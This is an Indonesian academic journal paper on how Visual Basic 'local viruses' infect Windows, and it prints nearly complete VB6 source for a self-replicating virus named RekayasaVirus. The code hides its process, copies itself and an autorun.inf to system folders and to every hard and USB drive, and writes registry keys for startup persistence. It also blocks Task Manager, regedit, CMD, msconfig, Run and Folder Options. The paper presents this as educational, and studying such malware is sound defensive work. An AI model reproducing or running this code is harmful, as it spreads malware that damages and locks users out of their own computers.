REKAYASA TEKNIK PEMROGRAMAN PENCEGAHAN DAN PERLINDUNGAN DARI VIRUS LOKAL MENGGUNAKAN API VISUAL BASIC
|
|
|
- Widyawati Kurniawan
- 9 tahun lalu
- Tontonan:
Transkripsi
1 REKAYASA TEKNIK PEMROGRAMAN PENCEGAHAN DAN PERLINDUNGAN DARI VIRUS LOKAL MENGGUNAKAN API VISUAL BASIC Junaidi 1 Sugeng Santoso 2 Lusyani Sunarya 3 [email protected], [email protected] ABSTRAKSI Belakangan ini perkembangan virus yang begitu cepat membuat pengguna komputer merasa kesal, apabila komputernya berjalan sangat lambat tidak seperti biasanya, hal ini mungkin telah terinfeksi virus. Dari sekian banyaknya virus, beberapa diantaranya merupakan virus lokal yang beberapa bulan terakhir sedang gencar-gencarnya menyerang. Virus lokal yang dibuat dengan bahasa pemrograman visual basic, mempunyai beragam nama dan varian, juga memiliki keragaman teknik penyerangan dan pertahanan, biasanya aktivitas penyerangan sulit untuk diketahui. Namun demikian, jika kita mencoba memahami teknik penyerangan, penyebaran dan pertahanannya, virus lokal yang dibuat dengan bahasa pemrograman visual basic, hampir memiliki kemiripan teknik penyerangan, penyebaran dan pertahanan, sehingga mudah bagi yang mengerti untuk mengetahui penyerangan dan pertahanan virus lokal. Rekayasa virus lokal dengan visual basic meliputi teknik menginfeksi flashdisk dari sebuah komputer, menginfeksi komputer target dimana flashdisk terpasang, menggandakan diri ke folder tertentu (umumnya beberapa folder inti seperti windows, system32 dan lain sebagainya). Kemudian virus lokal ini akan menginfeksi registry, pemblokiran registry, cmd, msconfig, sysedit, pengatur folder option dan masih banyak lagi yang akan dibahas satu persatu dalam memahami teknik penyerangan dan pertahanan virus lokal serta pembuatannya melalui bahasa pemrograman visual basic. Dilihat dari teknik infeksi sistem, penggandaan ke sistem dan infeksi registry, virus lokal yang dibuat dengan bahasa pemrograman visual basic mudah untuk diciptakan bagi yang sedikit mengerti dan mudah untuk dimusnahkan bagi yang sedikit mengerti, hal ini sangat tergantung dari tingkat pemahaman. Atas dasar itulah penelitian ini dilakukan untuk memberikan gambaran tentang teknik pembuatan virus lokal dalam hal penyerangan dan pertahanannya. Kata Kunci : Virus, Registry, Infeksi, Penyerangan, Pertahanan 1. Dosen Jurusan Teknik Informatika, STMIK Raharja Jl. Jend Sudirman No.40 Modern Cikokol-Tangerang Telp Dosen Jurusan Teknik Informatika, STMIK Raharja Jl. Jend Sudirman No.40 Modern Cikokol-Tangerang Telp Dosen Jurusan Teknik Informatika, STMIK Raharja Jl. Jend Sudirman No.40 Modern Cikokol-Tangerang Telp Vol.1 No.2 - Januari 2008
2 PENDAHULUAN Maraknya virus komputer belakangan ini, cukup membuat para pengguna komputer resah dan sangat menyebalkan, apalagi kalau virus tersebut mulai melakukan penyerangan, komputer akan berjalan sangat lambat, karena ada beberapa aplikasi yang berjalan secara tersembunyi, dimana virus sedang melakukan penyusupan dengan menggandakan dirinya kebeberapa folder sistem dan alamat target. Hingga pada akhirnya virus tersebut mampu membuat space hardisk semakin berkurang, memori semakin terbatas, bahkan dapat melakukan manipulasi file, pengrusakan data dan masih banyak lagi, hal ini sangat tergantung dari kemampuan virus. Hebatnya lagi adalah, virus mampu melindungi dirinya dari segala sesuatu yang mengancam, mulai dari menginfeksi registry, memblokir beberapa fasilitas yang dapat mematikan dirinya, melakukan restart otomatis, bahkan sampai melakukan pengrusakan sistem dan pemformatan hardisk hingga sistem komputer mati total, dan pada akhirnya virus akan musnah bersama musnahnya sistem komputer yang terserang. Kemudian bisa saja virus akan aktif kembali ketika kita tanpa sengaja menjalankan atau membangkitkan suatu virus, maka yang pasti dilakukan virus tersebut setelah bangkit dari tidurnya adalah menginfeksi sistem agar melekat pada komputer target. Sehingga meskipun komputer tersebut telah direstart, virus tersebut akan tetap aktif, dan virus tersebut kembali menyerang dari satu lokasi ke lokasi yang lain, dari satu komputer ke komputer yang lainnya melalui jaringan atau media pertukaran data. Berbekal dari pengalaman yang berkali-kali terserang virus, hingga berkali-kali pula melakukan pemformatan dan penggantian hardisk, pada akhirnya mulai tertarik untuk meneliti dan mempelajari bagaimana virus dibuat, tentunya sesuai dengan kemampuan dalam pemrograman visual basic, penulis mulai melakukan berbagai percobaan dan pengkajian. Diawali dengan melepaskan antivirus, membiarkan virus masuk untuk kemudian menangkapnya dan membongkarnya, hingga pada akhirnya memahami bagaimana teknik penyerangan dan pertahanan virus. Diawali dengan terbongkarnya beberapa virus lokal yang dibuat dengan visual basic script, penulis melakukan beberapa penyesuaian dengan visual basic dan windows API, mulai dari teknik penyerangan sistem, penggandaan diri dan pertahanan dari ancaman, hingga sampai pada persembunyian, perkenalan, gangguan dan pengrusakan. Dan pada akhirnya dipaparkan secara terbuka pada artikel yang berjudul Rekayasa Teknik Penyerangan dan Pertahanan Virus Lokal Dengan API Visual Basic. Dari paparan diatas tentunya kita bertanya akan adanya beberapa permasalahan yang harus dipecahkan, bagaimana mungkin virus dibuat sedemikian rupa dengan Vol.1 No.2 - Januari
3 beberapa kemampuan?, adakah program aplikasi yang mampu membuat virus dengan mudah?, mampukah visual basic membuat virus lokal dengan teknik penyerangan dan pertahanan? bagaimanakah rekayasa teknik penyerangan dan pertahanan virus dengan API Visual basic? Walaupun akan membahas tentang rekayasa teknik penyerangan dan pertahanan virus, penulis membatasi pembahasan hanya pada teknik penyerangan dan pertahanan dengan API Visual Basic, tidak sampai pada teknik pengrusakan dan pemusnahan. Hal ini dimaksudkan karena tulisan ini untuk menambah wawasan dalam penanganan virus, sehingga mampu memberikan gambaran bagaimana memusnahkan sebuah virus dari komputer yang terserang, dengan harapan dapat memberikan sesuatu yang positif dan bukan digunakan untuk tujuan negatif. PEMBAHASAN Bahasa pemrograman visual basic dengan menggabungkan beberapa fasilitas API, belakangan ini kerap kali digunakan sebagai media dalam pembuatan virus lokal, hal ini dapat dilihat dari maraknya virus menyerang beberapa komputer, baik itu dibuat dengan visual basic script dengan menggunakan text editor biasa, maupun dibuat dengan bahasa pemrograman visual basic, dan untuk memaksimalkan fungsinya agar tidak memiliki ketergantungan secara utuh terhadap visual basic, diantara source codenya menggunakan fasiltas API. Secara mendasar VB mirip dengan bahasa pemrograman yang lain, misalnya Basic, C dan Pascal (tetapi tentu saja sintak dari tiap-tiap bahasa tidak sama persis). Lompatan besar VB adalah kemampuannya untuk memanfaatkan windows. VB tidak memerlukan pemrograman khusus untuk menampilkan jendela, dan cara penggunaanya juga berbasis visual seperti aplikasi windows lainnya, namun demikian pada tahapan ini kita lebih banyak menggunakan script dalam perancangannya. Hampir seluruh pengguna komputer mendengar istilah virus komputer, ratarata beranggapan bahwa virus komputer adalah program yang merusak data dan mengganggu kinerja komputer. Namun demikian, tidak sedikit diantara mereka yang mendengar virus komputer tidak begitu memahami bagaimana virus beroperasi, apa saja bagian yang diserang dan bagaimana ia mempertahankan diri. Kebanyakan diantara mereka, mengandalkan pada beberapa antivirus yang telah ada. Tapi pada kenyataanya, tidak semua antivirus mampu memulihkan komputer yang telah terinfeksi virus, apalagi antivirus yang ada tidak diupdate. Hal ini sangat dimungkinkan, karena biasanya virus selangkah lebih maju dari antivirus. 136 Vol.1 No.2 - Januari 2008
4 Dalam implementasinya, sebelum virus dilepaskan untuk beroperasi, ada beberapa kemampuan dasar yang harus dimiliki, yaitu kemampuan menyembunyikan diri, mengaktifkan diri setiap startup sistem, menyebar melalui media file executable, mempercepat proses penyebaran melalui media pertukaran data dan informasi, mempercepat penyebaran dengan memanfaatkan kelemahan suatu sistem, menyebar dengan file name spoofing, mempercepat proses penyebaran dengan pendekatan social engineering serta kemampuan dalam membangun pertahanan untuk menjaga eksistensi dirinya. Diantara kemampuan yang harus dimiliki virus komputer agar dapat bekerja lebih maksimal, hanya beberapa kemampuan saja yang menjadi fokus pembahasan, yaitu kemampuan dalam menginfeksi sistem, menyembunyikan dan menyerbarkan diri serta kemampuan dalam pertahanan. 1. Melakukan Penggandaan Ke Sistem Proses penggandaan ke sistem berfungsi agar virus tetap aktif pada saat komputer direstart. Biasanya hasil penggandaan ke sistem mempunyai nama yang hampir sama dengan nama file system dan ada juga yang sama persis dengan nama file system, hanya saja lokasi file tersebut berbeda dengan file aslinya atau pada lokasi yang sama dan terjadi sedikit perbedaan di nama file yang hampir tidak diketahui perbedaanya (contoh winlogon.exe, lsass.exe, services.exe, csrss.exe, iexplorer.exe, shell.exe, smss, svchost.exe, system.exe, taskmgr.exe, explorer.exe, notepad.exe, winword.exe, dll). Ketika virus dijalankan, maka virus tersebut akan mulai melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke sistem komputer. Hal ini dilakukan agar virus tetap berada pada sistem meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap aktif dengan cara mengaktifkan virus yang tercopy di sistem sehingga sistem benar-benar telah terinfeksi virus. Lokasi folder penggandaan virus pada sistem biasanya meliputi windows / winnt, system32, startup, application data. Lokasi ini biasanya paling sering digunakan, karena menurut orang awam file pada lokasi ini tidak boleh dihapus, dan hampir semua file yang ada merupakan file penting, dan jika terjadi penghapusan akan mengalami kerusakan, hal ini dimanfaatkan oleh virus untuk melindungi dirinya. Selain lokasi folder, virus juga melakukan perubahan extension untuk menyamar agar sulit dicari. Extention files yang sering digunakan pada saat melakukan penggadaan pada sistem misalnya exe, scr, com dan pif. Extension ini semuanya memiliki cara akses yang sama. Meskipun terjadi perubahan extension, tetap akan berjalan dengan normal. Vol.1 No.2 - Januari
5 Agar penyamaran sukses virus juga menggunakan penamaan yang hampir sama dengan file sistem atau bahkan memang sama hanya saja lokasi file yang berbeda, dengan tujuan membuat bingun, karena sulit membedakan antara file sistem yang asli dengan yang palsu (virus). Penamaan file dengan winlogon.exe, lsass.exe, services.exe, csrss.exe, smss.exe, akan dilindungi oleh task manager sehingga tidak dapat dimatikan prosesnya oleh task manager. 2. Melakukan Pengaturan Registry Virus yang berjalan pada sistem operasi windows tidak dapat lepas dari bantuan registry yang dapat membuat virus tersebut mampu memiliki daya tahan yang sangat kuat sehingga sulit sekali untuk dimusnahkan. Registry dimanfaatkan virus sebagai suatu tameng atau benteng pertahanan yang dapat melindunginya dari berbagai seranganserangan yang dapat membuat dirinya (virus) musnah dari computer yang telah terinfeksi. Misalkan kita telah berhasil mematikan suatu virus dengan menggunakan program task manager ataupun program sejenisnya tanpa melakukan pembersihan pada registry. Dimana virus telah memasang suatu kunci pada registry yang akan mengaktifkan dirinya jika user menjalankan suatu aplikasi, maka sudah bisa pastikan bahwa virus tersebut akan aktif kembali. Fungsi untuk menyeting registry yang digunakan oleh virus tidak banyak virus hanya memerlukan suatu fungsi untuk membuat kunci (Biasanya DWORD dan STRING) dan menghapus suatu kunci registry (Biasanya jarang digunakan). 3. Melakukan Pengaktifan Virus Pada Sistem Jika virus telah melakukan penggandaan di system computer maka virus tersebut akan mengaktifkan hasil penggandaannya yang telah berada disistem, sehingga meskipun flashdisk atau pun media penyimpanan lainnya yang digunakan sebagai suatu sarana penyebaran virus tersebut dilepas maka virus tersebut akan tetap aktif. Untuk melakukan pengaktifan virus yang telah berada pada sistem komputer virus tersebut hanya melakukan suatu perintah untuk menjalankan virus yang berada di sisem computer tersebut dengan perintah Shell atau dengan perintah ShellExecute. 4. Rekayasa Teknik Penyebaran 4.a Membaca Address Bar Pada Window Explorer Teknik ini sangat baik selain proses penyebaran sangat cepat juga tidak memerlukan suatu teknik pencarian suatu file. Mengapa tidak memerlukan 138 Vol.1 No.2 - Januari 2008
6 pencarian? Karena user telah memberikan informasi lokasi suatu file yang dianggap penting oleh user dengan cara membuka folder tersebut menggunakan windows explorer yang selanjutnya digunakan user untuk menjalankan file tersebut. Virus yang mendapatkan lokasi tersebut langsung menggandakan diri kedalamnya. Biasanya penamaan file dari hasil penggandaan virus tersebut diambil dari nama subfolder yang sedang terbuka. 4.b Membaca Folder Dan Sub Folder Pada Drive Hardisk Cara penggandaan yang satu ini sangat memakan banyak waktu untuk proses penyebaran. Tapi jika penyebarannya berhasil bisa dibayangkan kalau cara penggandaannya berdasarkan subfolder saja untuk satu partisi system saja bisa mencapai ribuan coba kalau user tersebut menggunakan Multi OS dikomputernya. Bayangkan saja!!!. Apalagi kalau sistem penggandaannya berdasarkan file-file yang ada dipartisi, pasti lebih heboh lagi. 5. Rekayasa Teknik Penyerangan Setelah virus tersebut melakukan penggandaan ke system, mengubah registry, baru virus tersebut melakukan penyerangan (pengrusakan). Serangan virus ini yang sangat ditakuti oleh pengguna komputer. Tetapi jika virus tersebut hanya melakukan penyebaran itu bukan masalah karena tidak melakukan pengrusakan. Dalam hal ini kita tidak akan membahas bagaimana teknik penyerangan untuk tingkat pengeruskana, hal ini dimaksudkan karena tulisan ini pada intinya bertujuan hanya untuk pendidikan. IMPLEMENTASI Sebagai bentuk uji coba dan pembuktian dari penelitian ini, berikut adalah source code dari program virus yang dibuat dengan visual basic. Program yang diberi nama RekayasaVirus.exe ini sengaja dibuat sangat sederhana dengan sedikit dampak, namun tidak membatasi terhadap kemampuannya dalam memblokir beberapa fasilitas yang membahayakan keberadaannya, seperti melakukan proses hidden file pada windows explorer maupun taskbar dan task manager, melakukan pemblokiran terhadap registry, run, msconfig, cmd, folder options dan lain sebagainya. Program ini menggunakan satu file project, satu form, satu module, satu label pada form, satu control timer pada form dengan pengaturan interval 100 serta penggunaan script pada form dan module dengan beberapa fungsi. Vol.1 No.2 - Januari
7 Rancangan form pada program RekayasaVirus (Gambar-1): Gambar 1 Tampilan form dengan penggunaan satu label untuk memunculkan jam pada sistem Pengaturan pada project explorer dan properties (Gambar-2): Gambar 2 Penamaan project, file, form, module pada project explorer dan caption pada properties Penggunaan control timer untuk mendukung proses penyebaran (Gambar-3): Gambar 3 Penggunaan Timer Untuk Mendukung Proses Penggandaan File dan Penyebaran Melalui Flash Disk 140 Vol.1 No.2 - Januari 2008
8 Code pada form dengan memanggil fungsi pada module: Private Sub Form_Load() App.TaskVisible = False Main End Sub Prosedur ini yang paling pertama dijalankan pada saat program dijalankan. Hal yang pertama dilakukan adalah menyembunyikan prosesnya dari task manager dan juga menyembunyikan agar tidak terlihat pada taskbar, sehingga sulit untuk dihentikan, kemudian akan memanggil fungsi Main yang berada pada modul. Private Sub Timer1_Timer() Label1.Caption = Time() InfeksiDriveRemovable End Sub Prosedur ini dibuat karena adanya penggunaan control timer pada form, hal ini dimaksudkan agar program akan selalu berjalan dan selalu memantau aktifitas drive pada hardisk dan removable drive yang terpasang dalam interval persepuluh detik, hal ini dimaksudkan untuk mempertahankan keberadaan virus dan dapat melakukan penyebaran melalui media removable drive dengan memanggil fungsi InfeksiDriveRemovable yang berada pada module. Code pada modul dengan beberapa fungsi : persiapan dan api function api untuk perintah copy file Public Declare Function CopyFile _ Lib kernel32 _ Alias CopyFileA _ (ByVal lpexistingfilename As String, ByVal lpnewfilename As String, _ ByVal bfailifexists As Long) As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal memperbanyak diri, baik dari removabel drive ke hardisk maupun sebaliknya. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy. Vol.1 No.2 - Januari
9 function api untuk mengambil alamat folder tertentu Public Declare Function SHGetSpecialFolderLocation _ Lib shell32.dll _ (ByVal hwndowner As Long, ByVal nfolder As Long, pidl As ITEMIDLIST) _ As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal mendapatkan lokasi folder tertentu. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy untuk mendapatkan alamat folder tujuan. function api untuk mengambil daftar alamat folder Public Declare Function SHGetPathFromIDList _ Lib shell32.dll _ Alias SHGetPathFromIDListA _ (ByVal pidl As Long, ByVal pszpath As String) _ As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal mendapatkan daftar alamat folder yang ada. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy ketika melakukan pemanggilan fungsi mendapatkan alamat folder tertentu. function api untuk mengambil alamat folder sistem Public Declare Function GetSystemDirectory _ Lib kernel32.dll _ Alias GetSystemDirectoryA _ (ByVal lpbuffer As String, ByVal nsize As Long) _ As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal mendapatkan lokasi folder system32. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy untuk mendapatkan alamat folder system32. function api untuk mengambil alamat folder windows Public Declare Function GetWindowsDirectory _ Lib kernel32.dll _ Alias GetWindowsDirectoryA _ (ByVal lpbuffer As String, ByVal nsize As Long) _ As Long 142 Vol.1 No.2 - Januari 2008
10 Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal mendapatkan lokasi folder windows. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy untuk mendapatkan alamat folder windows. function api untuk mengambil tipe drive yang ada Public Declare Function GetDriveType _ Lib kernel32 _ (ByVal ndrive As String) _ As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan penggandaan file dalam hal mendapatkan drive yang terpasang baik hardisk dan maupun removable drive. Pembacaan hardisk meliputi semua drive berserta partisinya. Fungsi ini akan digunakan pada saat melakukan penggandaan file dengan perintah copy untuk mendapatkan daftar drive yang terpasang, juga dimanfaatkan untuk menyebarkan dirinya melalui flash disk yang dipantau berdasarkan interval waktu pada timer. function api pengaturan attribut file Public Declare Function SetFileAttributes _ Lib kernel32 _ Alias SetFileAttributesA _ (ByVal lpfilename As String, ByVal dwfileattributes As Long) _ As Long Penggunaan fungsi windows api ini dimaksudkan untuk keperluan pengaturan atribut file dalam hal menyembunyikan file agar tidak terlihat, sehingga keberadaanya sulit untuk diketahui. Fungsi ini akan digunakan pada saat setelah berhasil penggandaan file dengan perintah copy. Vol.1 No.2 - Januari
11 function api pengambilan attribut attribut file Public Declare Function GetFileAttributes _ Lib kernel32 _ Alias GetFileAttributesA _ (ByVal lpfilename As String) As Long Public Type SHITEMID Ned As Long Jun As Byte End Type Public Type ITEMIDLIST Uned As SHITEMID End Type Enum SFolder CSIDL_STARTUP = &H7 End Enum Public Const FILE_ATTRIBUTE_READONLY = &H1 Public Const FILE_ATTRIBUTE_HIDDEN = &H2 Penggunaan fungsi-fungsi windows api ini dimaksudkan untuk keperluan pengaturan atribut file, penggunaan fungsi mendapatkan alamat folder tertentu, folder system32 dan folder windows. Juga terdapat beberapa fungsi untuk mendeklarasikan type variabel. prosedur utama untuk menjalankan beberapa fungsi Public Sub Main() On Error Resume Next InfeksiFolderSistem InfeksiDriveRemovable AturAtributFile InfeksiRegistry End Sub Prosedur ini merupakan sebuah prosedur utama untuk memanggil beberapa fungsi yang akan dijalankan, diantara fungsi-fungsi tersebut adalah fungsi untuk menggandakan file ke folder sistem, menggandakan file ke drive dan removable drive yang tersedia, fungsi pengaturan atribut file dan yang terpenting lagi adalah fungsi untuk pengaturan registry. 144 Vol.1 No.2 - Januari 2008
12 mengambil file sumber Public Function GetFileSumber() As String On Error Resume Next GetFileSumber = App.Path & \ & App.EXEName &.exe End Function Fungsi ini digunakan untuk keperluan penggandaan dengan mengambil nama file sumber lengkap dengan alamatnya, untuk kemudian fungsi ini akan dimanfaatkan pada saat perintah copy digunakan sebagai sumber. mengambil folder khusus Public Function GetSpecialfolder(JenisFolder As SFolder) As String Dim Jun1 As Long, IDL As ITEMIDLIST Jun1 = SHGetSpecialFolderLocation(100, JenisFolder, IDL) If Jun1 = NOERROR Then Path$ = Space$(512) Jun1 = SHGetPathFromIDList(ByVal IDL.Uned.Ned, ByVal Path$) GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1) & \ Exit Function End If GetSpecialfolder = End Function Fungsi ini digunakan untuk keperluan penggandaan dengan mengambil alamat folder tertentu yang terdapat pada fungsi daftar folder. Penggunaan fungsi ini sangat terkait dengan fungsi windows api yang sudah dideklarasikan sebelumnya, untuk kemudian fungsi ini akan dimanfaatkan pada saat perintah copy digunakan sebagai alamat tujuan. mengambil alamat folder sistem Public Function GetSystemPath() As String On Error Resume Next Dim Buffer As String * 255, Ned1 As Long Ned1 = GetSystemDirectory(Buffer, 255) GetSystemPath = Left(Buffer, Ned1) & \ End Function Fungsi ini digunakan untuk keperluan penggandaan dengan mengambil alamat folder system32. Penggunaan fungsi ini sangat terkait dengan fungsi windows api untuk mendapatkan alamat folder system32 yang sudah dideklarasikan sebelumnya, untuk Vol.1 No.2 - Januari
13 kemudian fungsi ini akan dimanfaatkan pada saat perintah copy digunakan sebagai alamat tujuan. mengambil alamat folder windows Public Function GetWindowsPath() As String On Error Resume Next Dim Buffer As String * 255, Ned1 As Long Ned1 = GetWindowsDirectory(Buffer, 255) GetWindowsPath = Left(Buffer, Ned1) & \ End Function Fungsi ini digunakan untuk keperluan penggandaan dengan mengambil alamat folder windows. Penggunaan fungsi ini sangat terkait dengan fungsi windows api untuk mendapatkan alamat folder windows yang sudah dideklarasikan sebelumnya, untuk kemudian fungsi ini akan dimanfaatkan pada saat perintah copy digunakan sebagai alamat tujuan. menggandakan diri ke alamat folder penting pada windows Public Function InfeksiFolderSistem() As String On Error Resume Next menggandakan file virus CopyFile GetFileSumber, GetWindowsPath & RekayasaVirus.exe, 0 CopyFile GetFileSumber, GetSystemPath & RekayasaVirus.exe, 0 CopyFile GetFileSumber, GetSpecialfolder(CSIDL_STARTUP) & _ RekayasaVirus.exe, 0 menggandakan file autorun CopyFile App.Path & \ & autorun.inf, GetWindowsPath & autorun.inf, 0 CopyFile App.Path & \ & autorun.inf, GetSystemPath & autorun.inf, 0 CopyFile App.Path & \ & autorun.inf, GetSpecialfolder(CSIDL_STARTUP) & _ autorun.inf, 0 End Function Fungsi ini berguna untuk melakukan infeksi folder sistem dengan penggandaan berdasarkan perintah copy yang digunakan, penggunaan fungsi ini memanfaatkan beberapa fungsi yang pernah dideklarasikan sebelumnya, seperti fungsi mendapatkan file sumber lengkap dengan alamatnya, mendapatkan alamat folder tertentu, alamat folder system32, mendapatkan alamat folder windows yang akan dijadikan sebagai alamat tujuan. 146 Vol.1 No.2 - Januari 2008
14 menggandakan diri ke alamat drive dan removable yang tersedia Public Function InfeksiDriveRemovable() As String Dim DriveAscii As Integer, DriveHuruf As String DriveHuruf = For DriveAscii = 66 To 90 DriveHuruf = Chr(DriveAscii) & :\ If GetDriveType(DriveHuruf) = 3 Or GetDriveType(DriveHuruf) = 2 Then Type drive 3 = Hardisk, 2 = Flash Disk menggandakan file virus CopyFile GetFileSumber, DriveHuruf & RekayasaVirus.exe, 0 menggandakan file autorun CopyFile App.Path & \ & autorun.inf, DriveHuruf & autorun.inf, 0 End If Next End Function Fungsi ini berguna untuk melakukan infeksi folder sistem dengan penggandaan berdasarkan perintah copy yang digunakan, penggunaan fungsi ini memanfaatkan fungsi mendapatkan drive yang tersedia termasuk removable drive. Fungsi ini dimaksudkan untuk keperluan penyebaran melalui media flash disk yang keberadaanya dipantau berdasarkan interval timer yang ditentukan. mengatur attribut file untuk hidden dan read only Public Function AturAtributFile() As String Dim DriveAscii As Integer, DriveHuruf As String DriveHuruf = For DriveAscii = 66 To 90 DriveHuruf = Chr(DriveAscii) & :\ If GetDriveType(DriveHuruf) = 3 Or GetDriveType(DriveHuruf) = 2 Then Type drive 3 = Hardisk, 2 = Flash Disk SetFileAttributes DriveHuruf & RekayasaVirus.exe, _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY End If Next SetFileAttributes GetWindowsPath & RekayasaVirus.exe, _ FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY SetFileAttributes GetSystemPath & RekayasaVirus.exe, _ SetFileAttributes GetSpecialfolder(CSIDL_STARTUP) & _ RekayasaVirus.exe, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY End Function Vol.1 No.2 - Januari
15 Fungsi ini akan digunakan pada saat perintah copy selesai dilaksanakan, hal ini dimaksudkan untuk pengaturan atribut file agar dapat di hidden dan read only, dengan tujuan untuk pertahanan agar keberadaannya tidak terlihat. Public Function InfeksiRegistry() Dim WShell As Object, RG1 As String, RG2 As String Dim RG3 As String, RG4 As String RG1 = Software\Microsoft\Windows\CurrentVersion\ RG2 = SOFTWARE\Microsoft\Windows NT\CurrentVersion\ RG3 = Software\Microsoft\Internet Explorer\Main\ RG4 = Software\Policies\Microsoft\Windows\system\ Set WShell = CreateObject( WScript.Shell ) merubah registered owner windows WShell.Regwrite HKLM\ & RG2 & \RegisteredOwner, Virus merubah registered organization windows WShell.Regwrite HKLM\ & RG2 & \RegisteredOrganization, Rekayasa merubah Title Internet Explorer WShell.Regwrite HKCU\ & RG3 & \Window Title, ::Rakayasa::Virus:: mengaktifkan virus pada saat setiap starup sistem WShell.Regwrite HKLM\ & RG1 & \Run\RekayasaVirus, _ GetWindowsPath & RekayasaVirus.exe blokir command prompt WShell.Regwrite HKCU\ & RG4 & DisableCMD, _ blokir task manager WShell.Regwrite HKCU\ & RG1 & Policies\System\DisableTaskMgr, _ blokir regedit WShell.Regwrite HKCU\ & RG1 & Policies\System\DisableRegistryTools, _ blokir msconfig WShell.Regwrite HKCU\ & RG1 & Policies\System\DisableMsConfig, _ advanced hidden WShell.Regwrite HKCU\ & RG1 & Advanced\Hidden, 0, REG_DWORD 148 Vol.1 No.2 - Januari 2008
16 blokir fasilitas run WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoRun, _ blokir fasilitas pencarian WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoFind, _ blokir fasilitas pengaturan folder WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoFolderOptions, _ blokir fasilitas-fasilitas lainnya WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoClose, _ WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoControlPanel, _ WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoViewContextMenu, _ WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoStartMenuMorePrograms, _ WShell.Regwrite HKCU\ & RG1 & Policies\Explorer\NoViewOnDrive, _ Set WShell = Nothing End Function Fungsi ini dimaksudkan untuk menginfeksi registry sebagai inti dari penyerangan dan pertahanan virus. Pada fungsi ini terdapat beberapa kegunaan untuk keperluaan pengaturan pertahanan dan penyerangan virus. Pada fungsi ini terdapat beberapa perintah mengakses registry untuk keperluan pengaktifan virus secara otomatis pada saat logon, mengubah nama owner dan organisasi pada windows, memblokir beberapa fasilitas yang dapat membahayakan eksistensi virus, juga menyembunyikan beberapa fasilitas yang juga dapat membahayakan eksistensi virus. Vol.1 No.2 - Januari
17 Gambar 4 Perbedaan start menu setelah dan sebelun terinfeksi virus Setelah pembuatan program tersebut diatas berhasil dilaksanakan, dengan menggunakan satu form dan satu modul, dan didalam setiap form dan modul terdapat perintah-perintah dan fungsi-fungsi yang saling terkait dan menunjang. Program ini akan dapat berjalan setelah dilakukan kompilasi menjadi file executable dengan perintah menu compilasi pada visual basic, kemudian file executable hasil kompilasi ini yang akan dijalankan dan digandakan. Namun sebelum penjalankan program ini, terlebih dahulu harus dilakukan beberapa langkah pengamanan, untuk menghindari hal-hal yang tidak diinginkan terjadi, seperti tidak terkendalinya virus yang dibuat ini. Setelah program tersebut dijalankan, kita akan melihat beberapa hasilnya yang akan digambarkan pada gambar-gambar dibawah ini sebagai bentuk tangkapan layar. 150 Vol.1 No.2 - Januari 2008
18 Perhatikan perbedaan gambar (Gambar-4). Gambar ini adalah sebelum terinfeksi virus dan gambar disebelah kanan adalah gambar setelah terinfeksi virus, perbedaannya terletak pada menu run dan menu search. Virus akan menyembunyikan fasilitas run. Perhatikan perbedaan Gambar-5, inilah adalah gambar potongan windows eksplorer yang ditangkap, sebelah kiri adalah gambar setelah terinfeksi virus dan sebelah kanan adalah gambar sebelum terinfeksi virus. Perbedaannya terletak pada sub menu folder options yang hilang setelah virus aktif. Hal ini terjadi karena virus juga melakukan pemblokiran terhadap fasilitas ini agar keberadaan file tidak terlihat. Gambar 6 Virus Menggandakan Diri Pada Setiap Drive Yang Ada Termasuk Removable Drive Gambar 5 Perbedaan Menu Tools Pada Windows Explorer Seterlah Dan Sebelum Terinfeksi Virus Perhatikan perbedaan Gambar-6, inilah adalah gambar potongan windows eksplorer yang ditangkap, sebelah kiri adalah gambar drive C yang telah terinfeksi dengan hasil penggandaan file virus dan sebelah kanan adalah flash disk yang juga telah terinfeksi virus. Virus pada flash disk ini akan kembali menggandakan dirinya ketika di pasangkan pada komputer lain, dan demikian seterusnya dalam proses penyebaran virus. Vol.1 No.2 - Januari
19 Gambar 7 Program Rekayasa Virus Pada gambar 7, terlihat program rekayasa virus yang sidah menginfeksi virus dan sedang berjalan. Program ini masih sengaja diatur agar dapat memperlihatkan dirinya dalam bentuk tampilan layar yang berisi informasi jam, tanggal dan hari. Keberadaan program ini tetap tidak terdeteksi pada task manager juga tidak muncul pada taskbar, hal ini dimungkinkan karena telah diatar untuk tidak terlihat. Pengaktifan program ini dilakukan secara otomatis pada saat login, karena pengaturan pengatifannya telah diatur pada windows registry. Untuk semua virus lokal yang berjalan untuk microsoft windows hampir seluruhnya mengakses registry untuk mengatur teknik penyerangan dan pertahanannya. KESIMPULAN Dilihat dari teknik infeksi sistem, penggandaan ke sistem dan infeksi registry, virus lokal yang dibuat dengan bahasa pemrograman visual basic mudah untuk diciptakan bagi yang sedikit mengerti dan mudah pula untuk dimusnahkan bagi yang sedikit mengerti, hal ini sangat tergantung dari tingkat pemahaman. Virus lokal yang dibuat dengan bahasa visual basic, hampir memiliki kemiripan teknik, hal ini dapat dilihat dari registry yang diakses. Pada registry inilah virus akan 152 Vol.1 No.2 - Januari 2008
